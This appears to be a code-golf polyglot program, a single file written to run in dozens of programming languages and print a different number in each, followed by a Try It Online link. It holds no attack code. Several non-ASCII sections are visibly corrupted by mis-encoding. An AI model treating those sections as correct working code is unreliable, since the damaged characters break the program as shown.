ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO MU ([]) ({}<(((((()()())){}{})){}{})>)(({})){}{(<(<()>)({})({}<{}>({}){})>){({}[()])}}({}){}({}()<()()()>) (<><()>){({}[()])}{ # {((((((\\'; a=$(printf \\\\x00);b=$(echo -n $a|wc -c);case $b[1] in 1*)echo 54;;4*)echo 78;;8*)echo 166;;*1*)echo 50;;*)echo 58;;esac;exit;#)'; print(( eval(\"1\\x2f 2\")and(9)or 13<< (65 )>>65or 68)-(0and eval(\"\\\"ppp\\\".bytes.class==Array and(4)or(95==\\\"ar_\\\"[2]and 5-96 or-93)\"))^1<<(65)>>62) or\"'x\"or'wWW s'#}#(prin 45)(bye)46(8+9+9+9+9+=!)(((\"3'3)))\"'a'[[@*3*74[?]* *]* * *(<\\>]xxxxxxxxxxxxxxxxxxxxxxxx)'#\\\\\n__DATA__=1 \n# \n###;{a=1}={a:null};console.log a&&39||180\n# \\\\\n\"\"\"\" \n# \n# \\\n=begin \n#p :1*23!/5x%6E0 !|*****[[[828+*+@+*99]]]*****|!\n;set print'-';print 89;exit#ss\n[mxf]-main=-[165]- ###jxf*#p 173#*\np now 70 dollar off!\np has been selling out worldwide!\n#PLACET,2<- #2FAC,2SUB#1<- #52FAC,2SUB#2<- #32FACREADOUT,2PLEASEGIVEUPFACs>>>\nseeeemPaeue_ewuuweeee_eeeeeeCisajjapp_ppppxf‚†Ü‚†Ñ‚°í‚°Ü‚°òüòÜüò®üòíüò®üí¨95üí¨üë•‚û°üòªüòπüò∏üôÄüôÄüòπüòºüòøüôÄüôÄüòºüòºüò∏üôÄüôÄüôÄüôÄ \nüëãüî¢üåöüåùüåùüåöüåöüåöüåöüåö‚ñ≤‚ñ≤‚ñ≤¬≤¬≤¬≤¬≤‚ñ≤¬°‚ñº¬°‚ñ≤‚ñ≤¬°‚Üí \nÎ∞†Î∞†Îî∞Îπ†Îπ†ÎߣÎ∞ïÎã§ÎߣÎ∞õÎã§ÎߣÌù¨ÎߣÌù¨„ÅÜ„Çì„Åü„Çì„Åü„Çì„Åü„Çì„Åü„Çì„ÅÜ„Çì„ÅÜ„Çì„ÅÜ„Çì„ÅÜ„Çì„ÅÜ„Çì„Åü„Çì„ÅÜ„Çì„ÅÜ„Çì„ÅÜ„Çì„Åü„Çì„ÅÜ„Çì„Åü„Çì„Åü„Çì„ÅÜ„Çì„Åü„Çì„Åü„Çì„ÅÜ„Çì„Åü„Çì„Åü„Çì„ÅÜ„Çì„Åü„Çì„Åü„Çì„ÅÜ„Çì„Åü„Çì„Åü„Çì„Åü„Çì„Åü„Çì„Åü„Çì„ÅÜ„Çì„ÅÜ„Çì„ÅÜ„Çì„ÅÜ„Çì„Åü„Çì„Åü„Çì„ÅÜ„Çì„Åü„Çì„Åü„Çì„Åü„Çì„ÅÜ„Çì„ÅÜ„Çì„ÅÜ„Çì„Åü„Çì„ÅÜ„Çì„ÅÜ„Çì„Åü„Çì„ÅÜ„Çì„ÅÜ„Çì„Åü„Çì„ÅÜ„Çì„ÅÜ„Çì„Åü„Çì„ÅÜ„Çì„Åü„Çì„ÅÜ„Çì„ÅÜ„Çì„ÅÜ„Çì„Åü„Çì„Åü„Çì„ÅÜ„Çì„Åü„Çì„Åü„Çì„ÅÜ„Çì„Åü„Çì„Åü„Çì„ÅÜ„Çì„Åü„Çì„Åü„Çì„ÅÜ„Çì„Åü„Çì„Åü„Çì„Åü„Çì„ÅÜ„Çì„ÅÜ„Çì \nüòä‚ôàüíñ \nüòá‚ôà‚ôà \nüòä‚ôâ‚ôà \nüòá‚ôà‚ôà \nüòá‚ôà‚ôâ \nüòá‚ôàüíú \nüòä‚ôâ‚ôà \nüòäü좂ôà \nüòà‚ôàüíú \nüòäü좂ôà \nüòá‚ôâüíû \nüòäü좂ô₆Ă¢É‚†õ‚†ã \n#-49,A,-1 #\n#-5,A,-1 #\n#6,A,-1 #\n1 ! !\n2 ! !\n1 !!\n1 x*\n53 ++-------+\n1 x*|$0011 \\|\n51 +|/1000 /|\n1 x*|\\ 0011\\|\n34 +|/01 00/|\n15 +|\\ 0011\\| R\"12\"R _* ? ?@ _ !\n1 *|@ 0110/| @ %\"18\" ?@ ?\n1 | +| + *\n1 !+-------+--- ? ! ?\n1 ! <``=> ? @ ?\n< < << < <\n< B= ===== =>8 =\n, 8= > B = =\n= == = = > 8 =\nD B+ += D x xxx x\n` ` = > 8 = >\n x ~ B = = = = > ~\n B + = D+ ~ 8 = >x\nx x x x x xx x\nx x x+ xx x + + + + + <>\nx x xx xx +++ + e$P+++++*D*+++1++1E!s\nx+ +x +x x + + + +\n 8=+, _ + + + +\n + + + + +\n + + + + + + + +\n + + + +\n + + + + + +\n + + +\n + + + + +\n + + + +\n + + +\n# + + +\n#+ + ++ + + +\n# + + +\n+#\n * +\n *+*\n# *************************************************+\n# + +\n# + +\n + + *\n *****+\n# + +\n# + +\n * *\n +*****\n# +\n (printout t 164 )\n(exit ) \n#cepp \nMsgBox (0,\"\",169 )\n#cs \nYo::=~147\n::= \nYou can see an x here.<<<<\n \n>{-<<<<< \n> 176\n>> Output 1\n>SET x TO 120. [0]{472454523665721469465830106052219449897} @,-1,:*b5<>‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êå‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êå‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã‚êã\n>X x. PPQ-}\n>x--/2 \n> =157;y=146--/2 \n>main=print y{-ss s\n \n\\begin{code} \n{-x ‚êâ‚êâ‚êâ‚êâ \n‚êâ\n ‚êâ \n-}\nopen import IO;main = run(putStr\"159\" )\n\\end{code}\nppppppppppppp\nout &49 &1\nout &56 &1\nout &50 &1\nTake Northern Line to Tooting Bec\nTake Northern Line to Charing Cross\nTake Northern Line to Charing Cross\nTake Northern Line to Bank\nTake District Line to Hammersmith\nTake District Line to Upminster\nTake District Line to Hammersmith\nTake District Line to Upminster\nTake District Line to Embankment\nTake Bakerloo Line to Embankment\n7 UP\nTake Northern Line to Mornington Crescent\n7 RIGHT\n7 RIGHT\n7 TEACH\n6 BOND\n6 BOND\n6 BOND\n5 RIGHT\n5 LEFT\n5 RIGHT\n7 BOND\n7 TEACH\n5 TEACH\n6 YELL\n5 TEACH\n6 YELL\n6 YELL\nset ! 57,,...,,.,,..,,,,,,..,,,.$^\nset ! 51. #\"60\"e.0,1,_ye do{--}gibe16\"124\"#8+*sizeString tnd xfmain=los*81''cagem x=4721en nd ogola=1ay $0C0 00 3cod/|puts_e\nMore 91 of this\nHow much is it\nred down one blue up red down one blue up red up one red right two blue up sss\nbaa baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa bleeeeeeeeeeeeet bleeeeeeeeeeeeet bleeeeeeeeeet baaaa bleet bleeeeeeeeeet bleeet bleeeeeeeeeet\nwwWWWwWWWWWwWWWWWWWwWWWWWWWWppppp\nWhen this program starts:\nThere is a scribe called x\nx is to write 179\n*/\n#if 0\n.int 2298589328,898451655,12,178790,1018168591,84934449,12597\n#endif//*\n#1\"\"//*\n#include\n#define x(d) #d\n#define u8 \"38\\0 \"//\"\nchar*x=\"24 10 31 1\"\n\"a c #FFC0FF\"\"B c #0000C0\"\"d c #58007B\"\"e c #0C8302\"\n\"h c #E60001\"\"i c #CAFFFF\"\"j c #280000\"\"k c #CA0000\"\"l c #CA007F\"\"n c #330001 \"\"q c #E60000\"\n\"o c #FF8000\"\"t c #FF00BC\"\"u c #008080\"\n\"A c #0040C0\"\"E c #808000\"\"F c #00C040\"\"G c #008000 \"\"R c #800000\"\n\"H c #0000AA\"\"I c #00AA00\"\"J c #55FFFF\"\"K c #AAAAAA\"\n\"r c red\"\"g c green\"\"b c blue\"\"c c cyan\"\"m c magenta\"\"y c #FFFF00\"\"x c black\"\"_ c #FFFFFF\"\n\"HHHahtdegggggggyrggggggc\"\n\"IHHaixuEFbGGbggbryAEGRgc\"\n\"JJHajyurbgbgggggggb____o\"\n\"IJHakmyyyyyyyyyyyyyyyyye\"\n\"I__almyyyyyyyyyyyyyyyyye\"\n\"K__anmyyyyyyyyyyyyyy_y_e\"\n\"HH_aqggyyyyyyyyg____m_Je\"\n\"JH_axxxxxxxxxxxxxxxxxxxx\"\n\"K__aaaam___bbbbbBm_bbBab\"\n\"K__________bbbbb___bbxbb\";//\"\nint f(char*a,char*b ){puts(a?\"124\":sizeof(0,u8)-5?u8\"67\":*u8\"\"?\"37\":x(0'0 \"'\\\"\")[9]?\"75\":'??-'&1? \"79\":\"77\");}main(){f(x,x=0);}//<*/\n#1\"\"/*/\n \n>import Text.Heredoc--WWWWWWWWWWWWWW<instance Num B where fromInteger _=B 170;negate _=B$x#x\n>data B=B{u::Integer};g=[here|here<-\"W>W\"] --WWWWWWWWWW570rt Unc27<<[w|]\n>x=1;y#a=128;x#a=174\n>main=print$last$172:[u$[-1]!!0|g<\"Z>\"] --}\n \n console.log 178;\n \n#1\"\"/*/\n#if 0\n#endif//* --... ...--\n/*/\np=sizeof(\" (\\\");print'(''72'')';end!\");main(){puts('??-'&1?\"101\":\"92\" );return 0;}\n#if 0\n#endif//* rk:start | print: \"69\" rk:end\nprint 61\n#}\ndisp 49\n#{\n}{}<> K yya+- & g+$\n$'main'3x A=AgRA; AC\n#-3o4o#$$$\n#\"3\"O._/+++<-\\>+++.---.\\_@\n#<<<#>>> /\nreg end=\"\";print(85);reg s#++++++++++++++++++++++++++++++++++++++++++++++++++++++++.-.\n=end\n;\"\"\"#\"#xxxxclou\"78\"<\\++++>/<~#class P{function:Main(a:String[])~Nil{83->Print();}}\n#endcOmment\n#nocOmment outtext(\"155\")\n#ce pS9^7^8^MUOUOF @0:8:8 \\ @,,1'1'<> @125iRE\n#p|o51~nJ;#:p'34'3 \\=# print(size([[1] [3]][1,:] )[1]==2?158+4:17)#>say 27#>>>say 170-3#]#print(47)#]#echo 21#>/#print(171)#s-#print 175#s\n#8M`| dggi2// $}<}}<}>}[<< }<<<<<}<<}<<<<}<<<}}}<}}<}}<} }<}}<}}<}}}<}}<<<<<<<<<<<}}}<}}<}}<}}<}}<}}<}}}<<<<<<<<<<}+++++++++++++++++++++++++++++++++++++++++++++++++._++.._#]~-<~-<~-<<<~-ass^_^_#\n#9 \"25\" +/pppppppx eeee*n*n*n*es*s*s*^ee*n*n*n*e*sss*e*n*n*n*ee*s<* 5>1 e*///\\)Q222999686#\n```\n[Try it online!](https://tio.run/##zL1rbyNLliD2uXL9D/wllNQtZopkkkm9SZFVLJV0S/dWldSSqurepliqZDJJZonM5M0kJbJUuuhZG73zWNi7Pb2D3h7v3O7ZNTyAF/BgbQO7mAEMeL8uBvsb7nwyBob7H7TPORH54kNS3Z7xmhKZkREnTpw4EXHixIlX0/C7v/1tCj/syO1NOj13yIaWP2Qtz760PI09mbDHhu2vF1clCaFqXmfUt5yhX5JSTGfMdky7Be9s6F5Yjv3B8sC/yNjAczue0WfDrjFklm8aA8tn7mg4GA2Z254fbZWxvb773s5hzL7tdABsaHkDzxpS@Bpjr5ye0W@2jKmQ9akEBx6E@@yp1fvY/zhkptvvG07LB8gNxl64nm8hvGn5vovRNxkb71nmFNItADU8231ee/n5VNA2Y58DicagZ42Z0fSHnmEObddBnhTYyctXJ0dTMXSdvT7d35/2LbIvc67D9kfmxXTQKnvl@UbPmMa/xmqjoXswnPZfZ7WO5RisqG1rxenADfbEM2aibDLPMlptu2dpUCAsx7pWb2B5DH1Y2/XYAZDU2ypsFc5rUUzNxLhbUSCLBfJacuS5rZGJJTjsWpAxLHVE6ksmUFFlA1HXNHSwFJHBwQD1idu34szwmWNZLeYPLNNu2yanzhoPLceHBH2N2cC8K7vXYy2rBxEi7GaW@S4b@TGvZs/oaqYmYe4wFda/6DGbmYMB40GsZwNJ@4UtZmFdZB8gvNf12XjQZ77dh@Ch6bbblsU@WIMuk1quxOBjDqYyFb4tWwDjWAFjrAHUKWSMi1UQuBTw58ozBsB8X3BgaPehxdjDtM8sw7exTUIU33JaxNNB2FpdZjhxdrFLG@oMZHzkEW7f8qjUCC@UsGcBSiNsL8qVZw@Bl8iLGjuyDI@depalJltuIklIzMUUhpgRjYp0Zye9d7ifhqLlMTRjAEXprZ7@6AvJYFqFLZ@X4VuR5bK09/Ipu14@QzdvqFD8A08xVFb5lvn5szMLvmO9me94NxJglYArPZZ3B8O8kRsAgbkhEJg30Imu3GVRG/RiCbOdqbKIVTgO1YLSgPrLXmcpZ@bI81AYRUw1LiDTPdfpAD8hs97IQX44bKMARWC6IEuyzLoErkHjpTJyr4jDp10bCs3HIom1NS5SiaEgVKESC44G6fpub0RwENMfYk0GrkBUxHjQZq9Z27B7GAXCERWn2rP8UW@IcUZOC0seRKbV0lhAhum2EKjvXkJyBiAlD6j4/VirJKIAGArCpaxi0Pf/7E9bnQ7gqZmm67VEdX3NWq5Jwt8gYkGiMqywrmP0iCyAy2LqPDokcGn07JYxxOSdiUiCiKBUr9xRr8VcSNC7sqGNdo1LaNfQtMyhxSs57y@yrG9ccFli85oLGe8bTShYSoDSpmzn2ONdKCXTklJUZ3L90bC9xXKDPZb282@VRyXl0dKZBcSpmrqynM93ylDhtBXygrf0bTXndS0hPP2h4bt2SxpMhl3XKbKcyWSz4g4sR0kncKSzaa@ZVjWUcYpatium1radlpLegbpYhYTTatmsmHW71ChPRY8nCWiuEA02V0sxVVkCkUON4jLfN2xHG0zY65xwxcJc/xxZjsFazBsZM@13yT1S1F9ivXSxgoAc0vyeZQ2UgqarKCYQbm6@MWBeTqdwiAyX7EYmnUpn4lknDJDTREaxsZ7aLoqt3qCLXSUwxfEH0A94WHdNA2qPj93BEJSWLGtSvaY@BCQLycQrK@1ZrAmCNKhH1CR5k8P4ORSUAkPUhJIt2WrFGjIIAWjLQ39GGvfcK0iQaMJOBkSHg4kaHSgaiMwzUuMZ4SmRTzJLFw4IFMTWtNhWrmlDI8DmBjJd1PlY3gB8tchhABtvJDHZ0zcmgMXknWrUYJjdhrbUB/HgTZhpocwB4WPxDgUTGVH780FNQ4WtkCuuryfb2EwTG3r5Wu7HIKQ/5G9tSZj5pMoAPU/bumI9w@mMjA5qig5EMUzTGgyFoIKc@EMQRdP9DXnmROep@V1p@fF02tSJBIpFlAYKeV56ois0ULoIXTHXA2HKDKHtspbtgVjqTaZTB4DLqcTldwiSIOCdvICEQAOASmaNLXM0BKkGFfiqa5tdqLNIncPlIu@EppMHr3jqINlz7TBpJEavPixKWj70QjIWoshhic7igc4VUVUTHlT4cY/bMRt@fw5iNyQROoKYr5Y3NKh7d@Dsu447BykwMkSLIMkQXg6giZ2gOgkdV6B2UWMNdcywiKDMQGpAy4f61x0OB34J@gl72B01Nagp@VNvcjA8dLCy5IfexB663N3suU0Qyz60z3yQQt4cNe3xVIbILyzD9750CQpY22cV6Lm/GUGtU9JtHwQm@e8icCxIJsFNKPivDIAEpAGjlLZPongfhMrJxDEVWaOmpEGjk7NMxoYrq@DAWCFfdt0@SiH2hhQD1PRg5GA7bZBWQuaTyDfmdnWh7Ce9Lp3W3ru2o1ynl5aW0qV0FST70tIjcO2g6xG6MuB6RK4cuRBOQxfFyJILQ@sUA/0a6Zt6gHmsNrDYxtgrfbAHilEvlVYbWaOui2cRnyqIOpBsAJ3DB@BJq5UKOlVVrl5BRrVmO5n7XZTOJ6ZnDwQTvjAuDf4uuLBKbLD7A9dDBbaMneztPOlXPOgFQWk1u4qXPqsXzhpn12etzNlNOoux1bJRaUKmID2lr3U8dwTdpVpfK@X0hqrWV6GTbFbShfSKomzlepCQoaqfbakZg3NbSVsgtZWzszQwVfCnbnY9wjfOFlU1ZBXQgR0z6IRKWrvegvSbakPNpCGums7CEKOSTgNnTGSCT5nGmplg0OHxl5wxu5mMRNXQ9S7wOyP2wU@D4RWPvg/1d/fkeWKs278A6cpMv4eqSM7j2gi85le4Z4seocZVYgeksTrQ3UIOoLdthSMjx3Vyzoj0Z1Ju3XhCNBhECPLDvgflqp2AQcRtewwDBGj3k0ARwv4bdaFdGG66MFh@Q6qJzKDhMGzu2lxt6Ih3K5rpR3UA9B5wDnqGCQ07ie5MZmeAEOp5Pj8/RC3PIJ5WlWhUc1ceoWMxDQf517JJax/ZfhfZC5oVDiW8NnAVVXbQDSzi2gEzoc/vAKetsT3kOjzUoxOM8szwFRW1xhrXulDZQ40BiQosANSduyaMdyzQHDCUDx7ZnnNpe66DTNb2ADVU@DKWwRTyeeyFalSrHRSfLubvPOTAsRlvPcbbONZp5pq@yfKO23M7LlsBAKyamsYr9oFjAgmg8w1heMl8@wMxqNZxYeCTrIMWdvc@6oj6xmqofRsImSd47T3IGjY/0xHAgjyfHPx4D3oIfb1QAPqDtwJ9wkzGsEznET1NFgEIq18P6w2W5I@tQXfiJaqT74pRJNQn1@INk4/rDehQgSrRwj9Q1Hgj5z7QzoOgVuCal/c90pDQlBEfZSRyD8ogtFORHd5sIIepKW/0DViRQDpT4FH57oPsPO2OLMkyuy6Tz0DDKFZZvmVd5lHgyCDouqAq5yApyyNlLIwmrJDS0B2BVteyenbfHh6QsavnoOoSdctB6C40sAjBkW0NJTHeiMQrGqQiWet0OPzeGDskX7LoyV4ePt07P6qdPqvI@ZHv5Xt2E2pwyzrvg@LZs3yZTX9S7NgCZCL@h4vesesOK7y4Lnrszk8K4wTRnz89f37w5Lh2/DUngtD4dn/UM5CU0vIUAEY/oeCgVcWsgG3P7YcauS8KYnkVWW8lzMY4PBWhaxg6EkbjmP8G@vfREKyZUsc0Wc7lr6GnANxEQDQOUx/WyWQQkozFoaeA3CKUaDDWvGbguY2eoak4YUSN0M0LXxxJYL7WCzeI3HdG/iCWs2tdJ//LYbuNvXboXSTvixxW9V7kvUre3NScNPIKtswEzQUO8a0RPm6inotvJmgucIhvneND0/Z8dFMh80BDZBuEDE3hc3FNBcwBDDFtEqa4@TwK26KwRbZzkdbc4IWReHM4BQH83IVu87nt0zRKvH1IoXp3JsmBjppQxuQopBjZiljucr6RS44jopYLjevCxaFR5DovaPo6YglR9C96szHboGHQTwJ0hqjZEC4x@s02/cwBKAn7CQhHnA5ArnyBNmA08big71lXBEYjQUIG3LIdI39MDxwTzqMnObpNENO02iNQhfKgqqP7DrDc9hZBtptNexEo8AVJD55zwLxRcx7bYGTanTGAsATjhyNv2LNa4vmfftKCApgtnq4xIfUvdJwD36hutBeWloiKL/Qzv2QJ5v2oZxvEBnLdhdI00OZs9ELHfNTYj7Fcrmt4fdSyROFC5cQfEH231DNOuWf1Ri0reM5PhFicNLPw2I7dpxzBE4cJNChaEH3KSMTjk6Ldc40WYeHqsG1Fpc3LxRpzxTCmb0Hvcg86A1sOiyZPht3RcMR/cb7krnK1B/idz5VSspIV1o2mbuVd32ja1i31wDMuRi03N7joUKaRtI1FtZ03IjQ95No944I7z9E5nwE8i57d6Vhe8FwEdtUFDY9U0/wVPW6pKkH/ykhjMm7D6fX47yKQYNI7dCzmk92jn0@pkFRFTGg1yFqcEs3F2GRPMbZnNCeoonc/vWZhgqS4gOCpmJlMYRW7s9ACHk2@DgaL42MfSPG3t@fH5pOxnCXzFNc8n4TNcfME5VlMy97R6qHnsvtGL1dsxZwLhXhg@opcc0BpvJYze4YPlWkoisO6hOKjn9sqOHZGJlaryHVL9Y7ICSZCFtnUozgD23R7tj/gLU68LJKm09bICA3OitNPFBXfZvnbIpXI7@ZC13yB4JpDtGsvqG/3EHDcpIxG@1gF0txFvDPdK/wuVDG67qXFf@d3eh/mUnUPUZXrUc2wzTnRW@Zd1RVnRulnPhcv5lI1NHtz/Uvshet6XcvxWVErBEY0nJYyej1u4z49OFxcp3275/owQMPf23gBAzHf57/za3Ocbbbh5MjSGHfPjyaIGjBNWFYWFKbR67i9ja1O3oCfhSU@8trYA4jnfSVfKLl0/W7JFShIrqOL50KRf5H3Lu6qDGSO9HDaIua8pb@dJ76EuXtxBmEYgXOR8zO3X9iimFqej5YXFYBndq@MSfD8Ab3KIu4GvcpgQuo16H8YYXsLHEOPq9w/JLW121Nr3U8mzaDdvCsTscK96Fkgoel3pkhZsaB/Ygy9ULi/hGr3RtbImisxDpvvLVycdousuD9RBZGNZWFXygPz0KoUQn0Qg8d7UY39N77dKmCMng2N/E4tZ668G4BOPsDx9hE4jtAxG7HjjAaJwo3x7njkHN/Oue4gaNluK0EkhnyqRNq6W5dKqO2@Rd9FKv5e34UhstsHncG5R/kLpGSK478JxOQTYX5vo43TuxVviYXzm6DXgv4BpWpf@Dk0lN5P8BQXje0JeHsbRm@ONZzg7yJuzxOkTdftfUrpgDxt2aiWgbKJKw3vKqUZXUdMdbPIiuGjRaTZXmS/4H2NGGgC93BQvbCgjyBLQ@oc7lPKM7bWW3qtmOX1rvEm9NhkJPI9M3AvovcYG7eubWmbtxLM1VG3afUM/hhvrN2Gb1tbvY9KNAj0XLLUo3Wf2/OjCZHUlAgaTIBZdgvGKl2rb9HrLUq@0Xo/8oPHQqCxi985wVqerNML4g1saPMO/ibmDmJa0dB1YHQ1NLyOhcOTHk5qCd9FcjYwes9l7kHf6Fj7d1auyEqB66D4oC5yzrdXlPjSBBOi3SFJ@MjPdS6siR885@vHExPKc9S/Fdu8dm6iMfTOhq3l59r671D7nK7bdbpW16PGEb4tah5QI4d8ZfptmQD6u4Z/gQu/SCZFw7quH@duz@317sNdlIlcQrrufDvtHi7ZbkHUT8I7MZoQIB53mvSg6yYmUR@@qO10rRH0UL47dAdWjt4WgfbQ@MN/55ueDw7TPntjW16Lz1qjJdAY2s2exa5sIOG9H58qnW9YavZcA9cW3qLEA2eC531MVabr3WkH6RjucDCgx/mgN/Lph0y@ufZ8W2aJ7ROl96kM9pAvGOBV1uq4TbNr30VS0zKGjn2RD2w6/HV@NU8KY8q5zXJP0Vvr2cArb6JhJajEw0/wcTC/4dvPxcaSWxWS3ZHnTe4WDsmp4ND8yicN0LHIACNm7eYEU9ePq2KC1R@3zFyISb6FNYqUaVScc1YBtBN9oTkosQBIsKC3ujq8g0uma17cqU8sNGSK@WEy6dmxOW7wn7Zi3E7GMyHfYHSoPBt1fPXuitttgV6FP3MrSa3DKwhOLPk99ypmeIambzjiMTdu8fndqdPsyPqtEyUlpj8/rx0e3I3M7NkDn/@yXLs4V1WYndudhZrMH/uKompZbf57l37Xdz1cBw2KRM70LN9EOzjKYC4bueBx3A7I4lyPRcAB7FzyZ6eS52koyX4u99VLq2PguqjnNi6R6vmzXR9gnp5Vvg/iH40M3/7RyB1ac3FOzy7fB@ULo2ObzxIlECAMuCsW0fBHQlii12xBXHVtn5ajBo5FegRUtNvF4bTBPdwadbtxJKYjibWBLHfAgjWEoQNN/hhuzE0rrr67g8m9uiSypYrn3Po0f05@BpJPxh/TnqBw9bifFYuewM/2xNYVXwv2h6VogRitJQ/WFrMUrnAfobAbup7GCE5RjExGVSUeCe3GHQfAAijaoYOr9/nmH5/1bH9IsHab1ets@XpcKpT0G1ZhcklmjQbHih9aS743HtD2mmMevb5sNCrL6VwuvZw@c0qskA7BrR4waS64kYBt2/Tg9EYsYI7BlwGiO8hxme9O8Lu08wcUhBYoGq9gfEqdjevxNfZ8A8cpTlj/x79oiQ1RMBrxWd8GcQUMwd2Abt/qulePeLoi9dpgYOCGKsQBtbvHl/fndmvMv0KNhO@Dcq/Yq/3TLbG7Qmw9hJcj7DpjVPDCxaExro0c8sLj1ITr3ETCYawgU6bbG/Ud0AFbw66vsROblj2OvGj9ErgQzBl6qAi3suyAtSycFqTVrDT267nuBS1LR0r@41/wPSW0plWsNQySp71ksRRx6apOGzlM0x0B1QGSD5bnChAFmQw1fISWFWgtFvdXcaUnbXaBGpkLtnpQMny/x27thOX2WBp3VeIK8rLdVpZrx5@/rhcalW9ZP2/9p5/k1WvBOPmz3PaGL2dZAFK@wYoVD16H4Cg0zeTlscwTDBf82kLhuOLlASwyeCXDNb9BHXPdgWg1tF2PdqeFtVHsPFbQTeUc7Pno004/qrDWFe35oIV2DrZ83ELn@NDA4FUl1LzVVZaVER/8506GbB0SxH0zBrj43kBaAov7FzDK8ph9ZF2sZDkTl2XCG2dkD7fM9CtPgnUiq/HVPPmnVnNEU9iXRa24WqHsLJ9Xdqrk8qyWi1vX6m/PxsVC7my8udfI@wFTz87GnxWKXwHXXRiXLD/MY8vbe/n0elmrFj5@9I0Jk@WbdJkvWAIxsXx9dHC0d3JaO311AqVwE4iffdfrG5GswVpECy27bo82BQJfPNvyP0H@hG8Arihs2WA7uGNaVaX4GkICFbyWc/Iyd8ZEUyL2HdHnxfetWPgsgJBpbZsFNSpaew4dDBYm1DpkH3JhNMA9jkwgEfu0qLrZKOyxJYUcwvVhc4Qq8UxmFeBaDrh2T56xxbl@xP3uw7o7sdzOv0dzQZB1YXr1MJxncS4Lbv5e8j2AHvN3zzfHcnu@CeaWfANo6BvE2a8dPH91vJeMBpWNniR@K9vrYhUtl9LY5LgBIdiYRhsORES0oFRkJlME/ip6tRFuWWpawysLsiWkpNnnkamGEv2yFFVM4EwFDxdolDkvFIUoQGWkjNmaWuTbtscxEoPOOobummcxlAb7cog6IFyTBeYU7dHX8BNkA7EKdgVt8IikuRDcaT@uB2WDFodZw8565PM2t6DPCrsfn8F/rHsKXMUGGzPRr@kNlmNF@PYsGJJ0Q1i1zDsrtswZIS9z2uWQXtwhDjS13hs0hKGlRmIdM3TXPWOA21EF9EsYNpTYNyOXNk0EwiRUNK5QNTb4UQhUtKaBuaHNGM4Qt5YGHRjhO9g/qaCaxnU0EvTxOjdysMcCoNjRBHtj0HihsrVJ6PNNzpzlrthPG/SZZNnyxf65UF3w2aXtk@ULC6GNyk4PJCXmRmQcj5ag7TKs1vNBOWlBPw6qyhD7XNBSNFpBy5fR5hwmp6BOaqHumGWyhLB@ZXZ/JfSpVyb0r@945GWCI8y@NGcj@JmV//6f/Snf/H02BPcfCPe48ATe/ki8tcH9T4MQXYe3fx6@FeHtZ/ztbR45OrvjlecmZCIy8PXBEfPJOIcs6hvjWO6x4WJR2s4IirUPvL4k1iE4z1bEmQiPUn8NnIfiAraj@oAaA6VneQ0F9yuW8nnUrnFGRaOVndaYW@Zo@@I3I9y2D0pOfmN9Y03PA5G5ywAh7SHq4FJCjlBVSyBqpEt7UHnXNNnOzg6TfdPoWZWNMmd5ftl4uyq/CwldBliJK@J1BnEgShQDwqoimrJsZHQVo2L/kNbTKCpaLi9B0LYUcgCIit5OsAkD1DlXsAqqh2ONh6SRTIIBBshBh5b1W/zwhgBRDhBx3Li5fLqWR4sDcS11rN5r8WKQ3yDYCYKV5HmVrP6WnQ3PnIY4ZIBBhfnVnCrngPsP55w8ENae2uyWd2V6wzrmhj0@cVxcRLoP1DKlmC@u5vUNNdamZIEK6MUW9BFQQpuBNmha9nt34Nd29w6@ODw6mdm6TZDpabA0S1d3Mmc5LVtvhI70VK0PmPpkP3/y4sl@wMo4VdHcKkJEE6zTZM5LbZrSBam/4asyZ9OmgJmE9MJ9EdNMRm6f1iDMYo9C8zHAXb4abCZVRb2@qTd2qmdOaib5j/OOs0hpK1i5wHXm02EWaTZH5hwEa01P8aQlXwu2KRTl6LCWcFMCf4@8F2@@Ds9tinZgB6taJdobFW6NkrQF610h71qeJ0XbjzlhAb0gawJSdSQ1StCUZubH49QwkZfZI6bE/o2QSYfcRkOnShgODMs92@TQPglobsmhoxBgDH8Q643NLq2JoZHnhEbyICpCq3TLJsOR4QWbcsKQE6tv504DelBwRDuqxVbiLuStZzfLRqU@ZuGWjts2Fmv@oGcPFdzlPNbQQgK5UVTMgL6D24TH6s52Q@zIZsHG6QztvT4aAb@O3AGLrFNPrcB1DCoKezoC5CaOb74Y9QGuTY9jC3sJC5SWHEQGPqYDIuq421jkQeu31iF1rWuNW3YHehpFzYJI@kzXo13bBm47dtIghzmrPsdFg3HGfNJO8xjHjLqh2U7LGiu4qa/UQO6Af/rqzWValWfqAG13F5ubW9P73gNhYQxFq432jE8JhO3tUBAk2872ttb1JdxyA8owpHgy9J6DE/pQpd03BkwZ0cEBPtMYvSpnipP1h57KclXsz66YwzIZGlTDgwJAV0bQNrls2qGp4Dk7Sr4C5Yy@vtPCxwd7wOq6pjXATYmobBkNarugbqApSpVgbARRSoQWOmD4KyFFoHS2kCL@XKZkJdq7C1Bzg6khd7rUAIEXlGtWfRhtlIy1QM7V7e2SKI2kONxmUC125kgMQDtHzAW6KfBXbJoArqEQA6hdz2rZIFAef2k5DrRXBepMH1onM0ZQyTw1Gxxxl43OD6IUUpzEZ2IXBhCaPFdoL33dc0GfWc6XyTZTvoF@/90Zdvxt0fVP8v91XsuXr5XlXmWSB2VMrSrL3YqeWV3JZJadFWXZQXXk4UM06dwsg7ZzrsHAaAxAueWeWob6DNpRZdkpLxs7ynKrUlyhGPAKQ7NriPCtn9eul42b/PJD0Cay4OPx1qks@7Tlv6Bp@g3Qhy1kOZ@FOnONe9fp4DpMftnOZJAGbfkcCfg2f3aSoX7l7CRP1qOyUHLznX4gRpK6SlgSMwfucQYK71Io0ddRoosVNOcBcHSq0Oq8sFu16y9xvSGjqVHL9@P1Kxlyf8EiBBoKJyFkFH7mAjBwrAAT8TVrqCoIk9/@NqVvMCY/2lhV3Myj9UI5k17XYXgI47rUY1BU8yuyJ1@fPc1dMiuXrreN